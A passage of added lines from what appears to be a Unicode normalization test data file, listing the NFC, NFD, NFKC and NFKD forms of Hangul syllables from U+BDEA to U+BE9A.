+{ source: [0xBDEA], NFC: [0xBDEA], NFD: [0x1107, 0x1171, 0x11BD], NFKC: [0xBDEA], NFKD: [0x1107, 0x1171, 0x11BD] },
+{ source: [0xBDEB], NFC: [0xBDEB], NFD: [0x1107, 0x1171, 0x11BE], NFKC: [0xBDEB], NFKD: [0x1107, 0x1171, 0x11BE] },
+{ source: [0xBDEC], NFC: [0xBDEC], NFD: [0x1107, 0x1171, 0x11BF], NFKC: [0xBDEC], NFKD: [0x1107, 0x1171, 0x11BF] },
+{ source: [0xBDED], NFC: [0xBDED], NFD: [0x1107, 0x1171, 0x11C0], NFKC: [0xBDED], NFKD: [0x1107, 0x1171, 0x11C0] },
+{ source: [0xBDEE], NFC: [0xBDEE], NFD: [0x1107, 0x1171, 0x11C1], NFKC: [0xBDEE], NFKD: [0x1107, 0x1171, 0x11C1] },
+{ source: [0xBDEF], NFC: [0xBDEF], NFD: [0x1107, 0x1171, 0x11C2], NFKC: [0xBDEF], NFKD: [0x1107, 0x1171, 0x11C2] },
+{ source: [0xBDF0], NFC: [0xBDF0], NFD: [0x1107, 0x1172], NFKC: [0xBDF0], NFKD: [0x1107, 0x1172] },
+{ source: [0xBDF1], NFC: [0xBDF1], NFD: [0x1107, 0x1172, 0x11A8], NFKC: [0xBDF1], NFKD: [0x1107, 0x1172, 0x11A8] },
+{ source: [0xBDF2], NFC: [0xBDF2], NFD: [0x1107, 0x1172, 0x11A9], NFKC: [0xBDF2], NFKD: [0x1107, 0x1172, 0x11A9] },
+{ source: [0xBDF3], NFC: [0xBDF3], NFD: [0x1107, 0x1172, 0x11AA], NFKC: [0xBDF3], NFKD: [0x1107, 0x1172, 0x11AA] },
+{ source: [0xBDF4], NFC: [0xBDF4], NFD: [0x1107, 0x1172, 0x11AB], NFKC: [0xBDF4], NFKD: [0x1107, 0x1172, 0x11AB] },
+{ source: [0xBDF5], NFC: [0xBDF5], NFD: [0x1107, 0x1172, 0x11AC], NFKC: [0xBDF5], NFKD: [0x1107, 0x1172, 0x11AC] },
+{ source: [0xBDF6], NFC: [0xBDF6], NFD: [0x1107, 0x1172, 0x11AD], NFKC: [0xBDF6], NFKD: [0x1107, 0x1172, 0x11AD] },
+{ source: [0xBDF7], NFC: [0xBDF7], NFD: [0x1107, 0x1172, 0x11AE], NFKC: [0xBDF7], NFKD: [0x1107, 0x1172, 0x11AE] },
+{ source: [0xBDF8], NFC: [0xBDF8], NFD: [0x1107, 0x1172, 0x11AF], NFKC: [0xBDF8], NFKD: [0x1107, 0x1172, 0x11AF] },
+{ source: [0xBDF9], NFC: [0xBDF9], NFD: [0x1107, 0x1172, 0x11B0], NFKC: [0xBDF9], NFKD: [0x1107, 0x1172, 0x11B0] },
+{ source: [0xBDFA], NFC: [0xBDFA], NFD: [0x1107, 0x1172, 0x11B1], NFKC: [0xBDFA], NFKD: [0x1107, 0x1172, 0x11B1] },
+{ source: [0xBDFB], NFC: [0xBDFB], NFD: [0x1107, 0x1172, 0x11B2], NFKC: [0xBDFB], NFKD: [0x1107, 0x1172, 0x11B2] },
+{ source: [0xBDFC], NFC: [0xBDFC], NFD: [0x1107, 0x1172, 0x11B3], NFKC: [0xBDFC], NFKD: [0x1107, 0x1172, 0x11B3] },
+{ source: [0xBDFD], NFC: [0xBDFD], NFD: [0x1107, 0x1172, 0x11B4], NFKC: [0xBDFD], NFKD: [0x1107, 0x1172, 0x11B4] },
+{ source: [0xBDFE], NFC: [0xBDFE], NFD: [0x1107, 0x1172, 0x11B5], NFKC: [0xBDFE], NFKD: [0x1107, 0x1172, 0x11B5] },
+{ source: [0xBDFF], NFC: [0xBDFF], NFD: [0x1107, 0x1172, 0x11B6], NFKC: [0xBDFF], NFKD: [0x1107, 0x1172, 0x11B6] },
+{ source: [0xBE00], NFC: [0xBE00], NFD: [0x1107, 0x1172, 0x11B7], NFKC: [0xBE00], NFKD: [0x1107, 0x1172, 0x11B7] },
+{ source: [0xBE01], NFC: [0xBE01], NFD: [0x1107, 0x1172, 0x11B8], NFKC: [0xBE01], NFKD: [0x1107, 0x1172, 0x11B8] },
+{ source: [0xBE02], NFC: [0xBE02], NFD: [0x1107, 0x1172, 0x11B9], NFKC: [0xBE02], NFKD: [0x1107, 0x1172, 0x11B9] },
+{ source: [0xBE03], NFC: [0xBE03], NFD: [0x1107, 0x1172, 0x11BA], NFKC: [0xBE03], NFKD: [0x1107, 0x1172, 0x11BA] },
+{ source: [0xBE04], NFC: [0xBE04], NFD: [0x1107, 0x1172, 0x11BB], NFKC: [0xBE04], NFKD: [0x1107, 0x1172, 0x11BB] },
+{ source: [0xBE05], NFC: [0xBE05], NFD: [0x1107, 0x1172, 0x11BC], NFKC: [0xBE05], NFKD: [0x1107, 0x1172, 0x11BC] },
+{ source: [0xBE06], NFC: [0xBE06], NFD: [0x1107, 0x1172, 0x11BD], NFKC: [0xBE06], NFKD: [0x1107, 0x1172, 0x11BD] },
+{ source: [0xBE07], NFC: [0xBE07], NFD: [0x1107, 0x1172, 0x11BE], NFKC: [0xBE07], NFKD: [0x1107, 0x1172, 0x11BE] },
+{ source: [0xBE08], NFC: [0xBE08], NFD: [0x1107, 0x1172, 0x11BF], NFKC: [0xBE08], NFKD: [0x1107, 0x1172, 0x11BF] },
+{ source: [0xBE09], NFC: [0xBE09], NFD: [0x1107, 0x1172, 0x11C0], NFKC: [0xBE09], NFKD: [0x1107, 0x1172, 0x11C0] },
+{ source: [0xBE0A], NFC: [0xBE0A], NFD: [0x1107, 0x1172, 0x11C1], NFKC: [0xBE0A], NFKD: [0x1107, 0x1172, 0x11C1] },
+{ source: [0xBE0B], NFC: [0xBE0B], NFD: [0x1107, 0x1172, 0x11C2], NFKC: [0xBE0B], NFKD: [0x1107, 0x1172, 0x11C2] },
+{ source: [0xBE0C], NFC: [0xBE0C], NFD: [0x1107, 0x1173], NFKC: [0xBE0C], NFKD: [0x1107, 0x1173] },
+{ source: [0xBE0D], NFC: [0xBE0D], NFD: [0x1107, 0x1173, 0x11A8], NFKC: [0xBE0D], NFKD: [0x1107, 0x1173, 0x11A8] },
+{ source: [0xBE0E], NFC: [0xBE0E], NFD: [0x1107, 0x1173, 0x11A9], NFKC: [0xBE0E], NFKD: [0x1107, 0x1173, 0x11A9] },
+{ source: [0xBE0F], NFC: [0xBE0F], NFD: [0x1107, 0x1173, 0x11AA], NFKC: [0xBE0F], NFKD: [0x1107, 0x1173, 0x11AA] },
+{ source: [0xBE10], NFC: [0xBE10], NFD: [0x1107, 0x1173, 0x11AB], NFKC: [0xBE10], NFKD: [0x1107, 0x1173, 0x11AB] },
+{ source: [0xBE11], NFC: [0xBE11], NFD: [0x1107, 0x1173, 0x11AC], NFKC: [0xBE11], NFKD: [0x1107, 0x1173, 0x11AC] },
+{ source: [0xBE12], NFC: [0xBE12], NFD: [0x1107, 0x1173, 0x11AD], NFKC: [0xBE12], NFKD: [0x1107, 0x1173, 0x11AD] },
+{ source: [0xBE13], NFC: [0xBE13], NFD: [0x1107, 0x1173, 0x11AE], NFKC: [0xBE13], NFKD: [0x1107, 0x1173, 0x11AE] },
+{ source: [0xBE14], NFC: [0xBE14], NFD: [0x1107, 0x1173, 0x11AF], NFKC: [0xBE14], NFKD: [0x1107, 0x1173, 0x11AF] },
+{ source: [0xBE15], NFC: [0xBE15], NFD: [0x1107, 0x1173, 0x11B0], NFKC: [0xBE15], NFKD: [0x1107, 0x1173, 0x11B0] },
+{ source: [0xBE16], NFC: [0xBE16], NFD: [0x1107, 0x1173, 0x11B1], NFKC: [0xBE16], NFKD: [0x1107, 0x1173, 0x11B1] },
+{ source: [0xBE17], NFC: [0xBE17], NFD: [0x1107, 0x1173, 0x11B2], NFKC: [0xBE17], NFKD: [0x1107, 0x1173, 0x11B2] },
+{ source: [0xBE18], NFC: [0xBE18], NFD: [0x1107, 0x1173, 0x11B3], NFKC: [0xBE18], NFKD: [0x1107, 0x1173, 0x11B3] },
+{ source: [0xBE19], NFC: [0xBE19], NFD: [0x1107, 0x1173, 0x11B4], NFKC: [0xBE19], NFKD: [0x1107, 0x1173, 0x11B4] },
+{ source: [0xBE1A], NFC: [0xBE1A], NFD: [0x1107, 0x1173, 0x11B5], NFKC: [0xBE1A], NFKD: [0x1107, 0x1173, 0x11B5] },
+{ source: [0xBE1B], NFC: [0xBE1B], NFD: [0x1107, 0x1173, 0x11B6], NFKC: [0xBE1B], NFKD: [0x1107, 0x1173, 0x11B6] },
+{ source: [0xBE1C], NFC: [0xBE1C], NFD: [0x1107, 0x1173, 0x11B7], NFKC: [0xBE1C], NFKD: [0x1107, 0x1173, 0x11B7] },
+{ source: [0xBE1D], NFC: [0xBE1D], NFD: [0x1107, 0x1173, 0x11B8], NFKC: [0xBE1D], NFKD: [0x1107, 0x1173, 0x11B8] },
+{ source: [0xBE1E], NFC: [0xBE1E], NFD: [0x1107, 0x1173, 0x11B9], NFKC: [0xBE1E], NFKD: [0x1107, 0x1173, 0x11B9] },
+{ source: [0xBE1F], NFC: [0xBE1F], NFD: [0x1107, 0x1173, 0x11BA], NFKC: [0xBE1F], NFKD: [0x1107, 0x1173, 0x11BA] },
+{ source: [0xBE20], NFC: [0xBE20], NFD: [0x1107, 0x1173, 0x11BB], NFKC: [0xBE20], NFKD: [0x1107, 0x1173, 0x11BB] },
+{ source: [0xBE21], NFC: [0xBE21], NFD: [0x1107, 0x1173, 0x11BC], NFKC: [0xBE21], NFKD: [0x1107, 0x1173, 0x11BC] },
+{ source: [0xBE22], NFC: [0xBE22], NFD: [0x1107, 0x1173, 0x11BD], NFKC: [0xBE22], NFKD: [0x1107, 0x1173, 0x11BD] },
+{ source: [0xBE23], NFC: [0xBE23], NFD: [0x1107, 0x1173, 0x11BE], NFKC: [0xBE23], NFKD: [0x1107, 0x1173, 0x11BE] },
+{ source: [0xBE24], NFC: [0xBE24], NFD: [0x1107, 0x1173, 0x11BF], NFKC: [0xBE24], NFKD: [0x1107, 0x1173, 0x11BF] },
+{ source: [0xBE25], NFC: [0xBE25], NFD: [0x1107, 0x1173, 0x11C0], NFKC: [0xBE25], NFKD: [0x1107, 0x1173, 0x11C0] },
+{ source: [0xBE26], NFC: [0xBE26], NFD: [0x1107, 0x1173, 0x11C1], NFKC: [0xBE26], NFKD: [0x1107, 0x1173, 0x11C1] },
+{ source: [0xBE27], NFC: [0xBE27], NFD: [0x1107, 0x1173, 0x11C2], NFKC: [0xBE27], NFKD: [0x1107, 0x1173, 0x11C2] },
+{ source: [0xBE28], NFC: [0xBE28], NFD: [0x1107, 0x1174], NFKC: [0xBE28], NFKD: [0x1107, 0x1174] },
+{ source: [0xBE29], NFC: [0xBE29], NFD: [0x1107, 0x1174, 0x11A8], NFKC: [0xBE29], NFKD: [0x1107, 0x1174, 0x11A8] },
+{ source: [0xBE2A], NFC: [0xBE2A], NFD: [0x1107, 0x1174, 0x11A9], NFKC: [0xBE2A], NFKD: [0x1107, 0x1174, 0x11A9] },
+{ source: [0xBE2B], NFC: [0xBE2B], NFD: [0x1107, 0x1174, 0x11AA], NFKC: [0xBE2B], NFKD: [0x1107, 0x1174, 0x11AA] },
+{ source: [0xBE2C], NFC: [0xBE2C], NFD: [0x1107, 0x1174, 0x11AB], NFKC: [0xBE2C], NFKD: [0x1107, 0x1174, 0x11AB] },
+{ source: [0xBE2D], NFC: [0xBE2D], NFD: [0x1107, 0x1174, 0x11AC], NFKC: [0xBE2D], NFKD: [0x1107, 0x1174, 0x11AC] },
+{ source: [0xBE2E], NFC: [0xBE2E], NFD: [0x1107, 0x1174, 0x11AD], NFKC: [0xBE2E], NFKD: [0x1107, 0x1174, 0x11AD] },
+{ source: [0xBE2F], NFC: [0xBE2F], NFD: [0x1107, 0x1174, 0x11AE], NFKC: [0xBE2F], NFKD: [0x1107, 0x1174, 0x11AE] },
+{ source: [0xBE30], NFC: [0xBE30], NFD: [0x1107, 0x1174, 0x11AF], NFKC: [0xBE30], NFKD: [0x1107, 0x1174, 0x11AF] },
+{ source: [0xBE31], NFC: [0xBE31], NFD: [0x1107, 0x1174, 0x11B0], NFKC: [0xBE31], NFKD: [0x1107, 0x1174, 0x11B0] },
+{ source: [0xBE32], NFC: [0xBE32], NFD: [0x1107, 0x1174, 0x11B1], NFKC: [0xBE32], NFKD: [0x1107, 0x1174, 0x11B1] },
+{ source: [0xBE33], NFC: [0xBE33], NFD: [0x1107, 0x1174, 0x11B2], NFKC: [0xBE33], NFKD: [0x1107, 0x1174, 0x11B2] },
+{ source: [0xBE34], NFC: [0xBE34], NFD: [0x1107, 0x1174, 0x11B3], NFKC: [0xBE34], NFKD: [0x1107, 0x1174, 0x11B3] },
+{ source: [0xBE35], NFC: [0xBE35], NFD: [0x1107, 0x1174, 0x11B4], NFKC: [0xBE35], NFKD: [0x1107, 0x1174, 0x11B4] },
+{ source: [0xBE36], NFC: [0xBE36], NFD: [0x1107, 0x1174, 0x11B5], NFKC: [0xBE36], NFKD: [0x1107, 0x1174, 0x11B5] },
+{ source: [0xBE37], NFC: [0xBE37], NFD: [0x1107, 0x1174, 0x11B6], NFKC: [0xBE37], NFKD: [0x1107, 0x1174, 0x11B6] },
+{ source: [0xBE38], NFC: [0xBE38], NFD: [0x1107, 0x1174, 0x11B7], NFKC: [0xBE38], NFKD: [0x1107, 0x1174, 0x11B7] },
+{ source: [0xBE39], NFC: [0xBE39], NFD: [0x1107, 0x1174, 0x11B8], NFKC: [0xBE39], NFKD: [0x1107, 0x1174, 0x11B8] },
+{ source: [0xBE3A], NFC: [0xBE3A], NFD: [0x1107, 0x1174, 0x11B9], NFKC: [0xBE3A], NFKD: [0x1107, 0x1174, 0x11B9] },
+{ source: [0xBE3B], NFC: [0xBE3B], NFD: [0x1107, 0x1174, 0x11BA], NFKC: [0xBE3B], NFKD: [0x1107, 0x1174, 0x11BA] },
+{ source: [0xBE3C], NFC: [0xBE3C], NFD: [0x1107, 0x1174, 0x11BB], NFKC: [0xBE3C], NFKD: [0x1107, 0x1174, 0x11BB] },
+{ source: [0xBE3D], NFC: [0xBE3D], NFD: [0x1107, 0x1174, 0x11BC], NFKC: [0xBE3D], NFKD: [0x1107, 0x1174, 0x11BC] },
+{ source: [0xBE3E], NFC: [0xBE3E], NFD: [0x1107, 0x1174, 0x11BD], NFKC: [0xBE3E], NFKD: [0x1107, 0x1174, 0x11BD] },
+{ source: [0xBE3F], NFC: [0xBE3F], NFD: [0x1107, 0x1174, 0x11BE], NFKC: [0xBE3F], NFKD: [0x1107, 0x1174, 0x11BE] },
+{ source: [0xBE40], NFC: [0xBE40], NFD: [0x1107, 0x1174, 0x11BF], NFKC: [0xBE40], NFKD: [0x1107, 0x1174, 0x11BF] },
+{ source: [0xBE41], NFC: [0xBE41], NFD: [0x1107, 0x1174, 0x11C0], NFKC: [0xBE41], NFKD: [0x1107, 0x1174, 0x11C0] },
+{ source: [0xBE42], NFC: [0xBE42], NFD: [0x1107, 0x1174, 0x11C1], NFKC: [0xBE42], NFKD: [0x1107, 0x1174, 0x11C1] },
+{ source: [0xBE43], NFC: [0xBE43], NFD: [0x1107, 0x1174, 0x11C2], NFKC: [0xBE43], NFKD: [0x1107, 0x1174, 0x11C2] },
+{ source: [0xBE44], NFC: [0xBE44], NFD: [0x1107, 0x1175], NFKC: [0xBE44], NFKD: [0x1107, 0x1175] },
+{ source: [0xBE45], NFC: [0xBE45], NFD: [0x1107, 0x1175, 0x11A8], NFKC: [0xBE45], NFKD: [0x1107, 0x1175, 0x11A8] },
+{ source: [0xBE46], NFC: [0xBE46], NFD: [0x1107, 0x1175, 0x11A9], NFKC: [0xBE46], NFKD: [0x1107, 0x1175, 0x11A9] },
+{ source: [0xBE47], NFC: [0xBE47], NFD: [0x1107, 0x1175, 0x11AA], NFKC: [0xBE47], NFKD: [0x1107, 0x1175, 0x11AA] },
+{ source: [0xBE48], NFC: [0xBE48], NFD: [0x1107, 0x1175, 0x11AB], NFKC: [0xBE48], NFKD: [0x1107, 0x1175, 0x11AB] },
+{ source: [0xBE49], NFC: [0xBE49], NFD: [0x1107, 0x1175, 0x11AC], NFKC: [0xBE49], NFKD: [0x1107, 0x1175, 0x11AC] },
+{ source: [0xBE4A], NFC: [0xBE4A], NFD: [0x1107, 0x1175, 0x11AD], NFKC: [0xBE4A], NFKD: [0x1107, 0x1175, 0x11AD] },
+{ source: [0xBE4B], NFC: [0xBE4B], NFD: [0x1107, 0x1175, 0x11AE], NFKC: [0xBE4B], NFKD: [0x1107, 0x1175, 0x11AE] },
+{ source: [0xBE4C], NFC: [0xBE4C], NFD: [0x1107, 0x1175, 0x11AF], NFKC: [0xBE4C], NFKD: [0x1107, 0x1175, 0x11AF] },
+{ source: [0xBE4D], NFC: [0xBE4D], NFD: [0x1107, 0x1175, 0x11B0], NFKC: [0xBE4D], NFKD: [0x1107, 0x1175, 0x11B0] },
+{ source: [0xBE4E], NFC: [0xBE4E], NFD: [0x1107, 0x1175, 0x11B1], NFKC: [0xBE4E], NFKD: [0x1107, 0x1175, 0x11B1] },
+{ source: [0xBE4F], NFC: [0xBE4F], NFD: [0x1107, 0x1175, 0x11B2], NFKC: [0xBE4F], NFKD: [0x1107, 0x1175, 0x11B2] },
+{ source: [0xBE50], NFC: [0xBE50], NFD: [0x1107, 0x1175, 0x11B3], NFKC: [0xBE50], NFKD: [0x1107, 0x1175, 0x11B3] },
+{ source: [0xBE51], NFC: [0xBE51], NFD: [0x1107, 0x1175, 0x11B4], NFKC: [0xBE51], NFKD: [0x1107, 0x1175, 0x11B4] },
+{ source: [0xBE52], NFC: [0xBE52], NFD: [0x1107, 0x1175, 0x11B5], NFKC: [0xBE52], NFKD: [0x1107, 0x1175, 0x11B5] },
+{ source: [0xBE53], NFC: [0xBE53], NFD: [0x1107, 0x1175, 0x11B6], NFKC: [0xBE53], NFKD: [0x1107, 0x1175, 0x11B6] },
+{ source: [0xBE54], NFC: [0xBE54], NFD: [0x1107, 0x1175, 0x11B7], NFKC: [0xBE54], NFKD: [0x1107, 0x1175, 0x11B7] },
+{ source: [0xBE55], NFC: [0xBE55], NFD: [0x1107, 0x1175, 0x11B8], NFKC: [0xBE55], NFKD: [0x1107, 0x1175, 0x11B8] },
+{ source: [0xBE56], NFC: [0xBE56], NFD: [0x1107, 0x1175, 0x11B9], NFKC: [0xBE56], NFKD: [0x1107, 0x1175, 0x11B9] },
+{ source: [0xBE57], NFC: [0xBE57], NFD: [0x1107, 0x1175, 0x11BA], NFKC: [0xBE57], NFKD: [0x1107, 0x1175, 0x11BA] },
+{ source: [0xBE58], NFC: [0xBE58], NFD: [0x1107, 0x1175, 0x11BB], NFKC: [0xBE58], NFKD: [0x1107, 0x1175, 0x11BB] },
+{ source: [0xBE59], NFC: [0xBE59], NFD: [0x1107, 0x1175, 0x11BC], NFKC: [0xBE59], NFKD: [0x1107, 0x1175, 0x11BC] },
+{ source: [0xBE5A], NFC: [0xBE5A], NFD: [0x1107, 0x1175, 0x11BD], NFKC: [0xBE5A], NFKD: [0x1107, 0x1175, 0x11BD] },
+{ source: [0xBE5B], NFC: [0xBE5B], NFD: [0x1107, 0x1175, 0x11BE], NFKC: [0xBE5B], NFKD: [0x1107, 0x1175, 0x11BE] },
+{ source: [0xBE5C], NFC: [0xBE5C], NFD: [0x1107, 0x1175, 0x11BF], NFKC: [0xBE5C], NFKD: [0x1107, 0x1175, 0x11BF] },
+{ source: [0xBE5D], NFC: [0xBE5D], NFD: [0x1107, 0x1175, 0x11C0], NFKC: [0xBE5D], NFKD: [0x1107, 0x1175, 0x11C0] },
+{ source: [0xBE5E], NFC: [0xBE5E], NFD: [0x1107, 0x1175, 0x11C1], NFKC: [0xBE5E], NFKD: [0x1107, 0x1175, 0x11C1] },
+{ source: [0xBE5F], NFC: [0xBE5F], NFD: [0x1107, 0x1175, 0x11C2], NFKC: [0xBE5F], NFKD: [0x1107, 0x1175, 0x11C2] },
+{ source: [0xBE60], NFC: [0xBE60], NFD: [0x1108, 0x1161], NFKC: [0xBE60], NFKD: [0x1108, 0x1161] },
+{ source: [0xBE61], NFC: [0xBE61], NFD: [0x1108, 0x1161, 0x11A8], NFKC: [0xBE61], NFKD: [0x1108, 0x1161, 0x11A8] },
+{ source: [0xBE62], NFC: [0xBE62], NFD: [0x1108, 0x1161, 0x11A9], NFKC: [0xBE62], NFKD: [0x1108, 0x1161, 0x11A9] },
+{ source: [0xBE63], NFC: [0xBE63], NFD: [0x1108, 0x1161, 0x11AA], NFKC: [0xBE63], NFKD: [0x1108, 0x1161, 0x11AA] },
+{ source: [0xBE64], NFC: [0xBE64], NFD: [0x1108, 0x1161, 0x11AB], NFKC: [0xBE64], NFKD: [0x1108, 0x1161, 0x11AB] },
+{ source: [0xBE65], NFC: [0xBE65], NFD: [0x1108, 0x1161, 0x11AC], NFKC: [0xBE65], NFKD: [0x1108, 0x1161, 0x11AC] },
+{ source: [0xBE66], NFC: [0xBE66], NFD: [0x1108, 0x1161, 0x11AD], NFKC: [0xBE66], NFKD: [0x1108, 0x1161, 0x11AD] },
+{ source: [0xBE67], NFC: [0xBE67], NFD: [0x1108, 0x1161, 0x11AE], NFKC: [0xBE67], NFKD: [0x1108, 0x1161, 0x11AE] },
+{ source: [0xBE68], NFC: [0xBE68], NFD: [0x1108, 0x1161, 0x11AF], NFKC: [0xBE68], NFKD: [0x1108, 0x1161, 0x11AF] },
+{ source: [0xBE69], NFC: [0xBE69], NFD: [0x1108, 0x1161, 0x11B0], NFKC: [0xBE69], NFKD: [0x1108, 0x1161, 0x11B0] },
+{ source: [0xBE6A], NFC: [0xBE6A], NFD: [0x1108, 0x1161, 0x11B1], NFKC: [0xBE6A], NFKD: [0x1108, 0x1161, 0x11B1] },
+{ source: [0xBE6B], NFC: [0xBE6B], NFD: [0x1108, 0x1161, 0x11B2], NFKC: [0xBE6B], NFKD: [0x1108, 0x1161, 0x11B2] },
+{ source: [0xBE6C], NFC: [0xBE6C], NFD: [0x1108, 0x1161, 0x11B3], NFKC: [0xBE6C], NFKD: [0x1108, 0x1161, 0x11B3] },
+{ source: [0xBE6D], NFC: [0xBE6D], NFD: [0x1108, 0x1161, 0x11B4], NFKC: [0xBE6D], NFKD: [0x1108, 0x1161, 0x11B4] },
+{ source: [0xBE6E], NFC: [0xBE6E], NFD: [0x1108, 0x1161, 0x11B5], NFKC: [0xBE6E], NFKD: [0x1108, 0x1161, 0x11B5] },
+{ source: [0xBE6F], NFC: [0xBE6F], NFD: [0x1108, 0x1161, 0x11B6], NFKC: [0xBE6F], NFKD: [0x1108, 0x1161, 0x11B6] },
+{ source: [0xBE70], NFC: [0xBE70], NFD: [0x1108, 0x1161, 0x11B7], NFKC: [0xBE70], NFKD: [0x1108, 0x1161, 0x11B7] },
+{ source: [0xBE71], NFC: [0xBE71], NFD: [0x1108, 0x1161, 0x11B8], NFKC: [0xBE71], NFKD: [0x1108, 0x1161, 0x11B8] },
+{ source: [0xBE72], NFC: [0xBE72], NFD: [0x1108, 0x1161, 0x11B9], NFKC: [0xBE72], NFKD: [0x1108, 0x1161, 0x11B9] },
+{ source: [0xBE73], NFC: [0xBE73], NFD: [0x1108, 0x1161, 0x11BA], NFKC: [0xBE73], NFKD: [0x1108, 0x1161, 0x11BA] },
+{ source: [0xBE74], NFC: [0xBE74], NFD: [0x1108, 0x1161, 0x11BB], NFKC: [0xBE74], NFKD: [0x1108, 0x1161, 0x11BB] },
+{ source: [0xBE75], NFC: [0xBE75], NFD: [0x1108, 0x1161, 0x11BC], NFKC: [0xBE75], NFKD: [0x1108, 0x1161, 0x11BC] },
+{ source: [0xBE76], NFC: [0xBE76], NFD: [0x1108, 0x1161, 0x11BD], NFKC: [0xBE76], NFKD: [0x1108, 0x1161, 0x11BD] },
+{ source: [0xBE77], NFC: [0xBE77], NFD: [0x1108, 0x1161, 0x11BE], NFKC: [0xBE77], NFKD: [0x1108, 0x1161, 0x11BE] },
+{ source: [0xBE78], NFC: [0xBE78], NFD: [0x1108, 0x1161, 0x11BF], NFKC: [0xBE78], NFKD: [0x1108, 0x1161, 0x11BF] },
+{ source: [0xBE79], NFC: [0xBE79], NFD: [0x1108, 0x1161, 0x11C0], NFKC: [0xBE79], NFKD: [0x1108, 0x1161, 0x11C0] },
+{ source: [0xBE7A], NFC: [0xBE7A], NFD: [0x1108, 0x1161, 0x11C1], NFKC: [0xBE7A], NFKD: [0x1108, 0x1161, 0x11C1] },
+{ source: [0xBE7B], NFC: [0xBE7B], NFD: [0x1108, 0x1161, 0x11C2], NFKC: [0xBE7B], NFKD: [0x1108, 0x1161, 0x11C2] },
+{ source: [0xBE7C], NFC: [0xBE7C], NFD: [0x1108, 0x1162], NFKC: [0xBE7C], NFKD: [0x1108, 0x1162] },
+{ source: [0xBE7D], NFC: [0xBE7D], NFD: [0x1108, 0x1162, 0x11A8], NFKC: [0xBE7D], NFKD: [0x1108, 0x1162, 0x11A8] },
+{ source: [0xBE7E], NFC: [0xBE7E], NFD: [0x1108, 0x1162, 0x11A9], NFKC: [0xBE7E], NFKD: [0x1108, 0x1162, 0x11A9] },
+{ source: [0xBE7F], NFC: [0xBE7F], NFD: [0x1108, 0x1162, 0x11AA], NFKC: [0xBE7F], NFKD: [0x1108, 0x1162, 0x11AA] },
+{ source: [0xBE80], NFC: [0xBE80], NFD: [0x1108, 0x1162, 0x11AB], NFKC: [0xBE80], NFKD: [0x1108, 0x1162, 0x11AB] },
+{ source: [0xBE81], NFC: [0xBE81], NFD: [0x1108, 0x1162, 0x11AC], NFKC: [0xBE81], NFKD: [0x1108, 0x1162, 0x11AC] },
+{ source: [0xBE82], NFC: [0xBE82], NFD: [0x1108, 0x1162, 0x11AD], NFKC: [0xBE82], NFKD: [0x1108, 0x1162, 0x11AD] },
+{ source: [0xBE83], NFC: [0xBE83], NFD: [0x1108, 0x1162, 0x11AE], NFKC: [0xBE83], NFKD: [0x1108, 0x1162, 0x11AE] },
+{ source: [0xBE84], NFC: [0xBE84], NFD: [0x1108, 0x1162, 0x11AF], NFKC: [0xBE84], NFKD: [0x1108, 0x1162, 0x11AF] },
+{ source: [0xBE85], NFC: [0xBE85], NFD: [0x1108, 0x1162, 0x11B0], NFKC: [0xBE85], NFKD: [0x1108, 0x1162, 0x11B0] },
+{ source: [0xBE86], NFC: [0xBE86], NFD: [0x1108, 0x1162, 0x11B1], NFKC: [0xBE86], NFKD: [0x1108, 0x1162, 0x11B1] },
+{ source: [0xBE87], NFC: [0xBE87], NFD: [0x1108, 0x1162, 0x11B2], NFKC: [0xBE87], NFKD: [0x1108, 0x1162, 0x11B2] },
+{ source: [0xBE88], NFC: [0xBE88], NFD: [0x1108, 0x1162, 0x11B3], NFKC: [0xBE88], NFKD: [0x1108, 0x1162, 0x11B3] },
+{ source: [0xBE89], NFC: [0xBE89], NFD: [0x1108, 0x1162, 0x11B4], NFKC: [0xBE89], NFKD: [0x1108, 0x1162, 0x11B4] },
+{ source: [0xBE8A], NFC: [0xBE8A], NFD: [0x1108, 0x1162, 0x11B5], NFKC: [0xBE8A], NFKD: [0x1108, 0x1162, 0x11B5] },
+{ source: [0xBE8B], NFC: [0xBE8B], NFD: [0x1108, 0x1162, 0x11B6], NFKC: [0xBE8B], NFKD: [0x1108, 0x1162, 0x11B6] },
+{ source: [0xBE8C], NFC: [0xBE8C], NFD: [0x1108, 0x1162, 0x11B7], NFKC: [0xBE8C], NFKD: [0x1108, 0x1162, 0x11B7] },
+{ source: [0xBE8D], NFC: [0xBE8D], NFD: [0x1108, 0x1162, 0x11B8], NFKC: [0xBE8D], NFKD: [0x1108, 0x1162, 0x11B8] },
+{ source: [0xBE8E], NFC: [0xBE8E], NFD: [0x1108, 0x1162, 0x11B9], NFKC: [0xBE8E], NFKD: [0x1108, 0x1162, 0x11B9] },
+{ source: [0xBE8F], NFC: [0xBE8F], NFD: [0x1108, 0x1162, 0x11BA], NFKC: [0xBE8F], NFKD: [0x1108, 0x1162, 0x11BA] },
+{ source: [0xBE90], NFC: [0xBE90], NFD: [0x1108, 0x1162, 0x11BB], NFKC: [0xBE90], NFKD: [0x1108, 0x1162, 0x11BB] },
+{ source: [0xBE91], NFC: [0xBE91], NFD: [0x1108, 0x1162, 0x11BC], NFKC: [0xBE91], NFKD: [0x1108, 0x1162, 0x11BC] },
+{ source: [0xBE92], NFC: [0xBE92], NFD: [0x1108, 0x1162, 0x11BD], NFKC: [0xBE92], NFKD: [0x1108, 0x1162, 0x11BD] },
+{ source: [0xBE93], NFC: [0xBE93], NFD: [0x1108, 0x1162, 0x11BE], NFKC: [0xBE93], NFKD: [0x1108, 0x1162, 0x11BE] },
+{ source: [0xBE94], NFC: [0xBE94], NFD: [0x1108, 0x1162, 0x11BF], NFKC: [0xBE94], NFKD: [0x1108, 0x1162, 0x11BF] },
+{ source: [0xBE95], NFC: [0xBE95], NFD: [0x1108, 0x1162, 0x11C0], NFKC: [0xBE95], NFKD: [0x1108, 0x1162, 0x11C0] },
+{ source: [0xBE96], NFC: [0xBE96], NFD: [0x1108, 0x1162, 0x11C1], NFKC: [0xBE96], NFKD: [0x1108, 0x1162, 0x11C1] },
+{ source: [0xBE97], NFC: [0xBE97], NFD: [0x1108, 0x1162, 0x11C2], NFKC: [0xBE97], NFKD: [0x1108, 0x1162, 0x11C2] },
+{ source: [0xBE98], NFC: [0xBE98], NFD: [0x1108, 0x1163], NFKC: [0xBE98], NFKD: [0x1108, 0x1163] },
+{ source: [0xBE99], NFC: [0xBE99], NFD: [0x1108, 0x1163, 0x11A8], NFKC: [0xBE99], NFKD: [0x1108, 0x1163, 0x11A8] },
+{ source: [0xBE9A], NFC: [0xBE9A], NFD: [0x1108, 0x1163, 0x11A9], NFKC: [0xBE9A], NFKD: [0x1108, 0x1163, 0x11A9] },
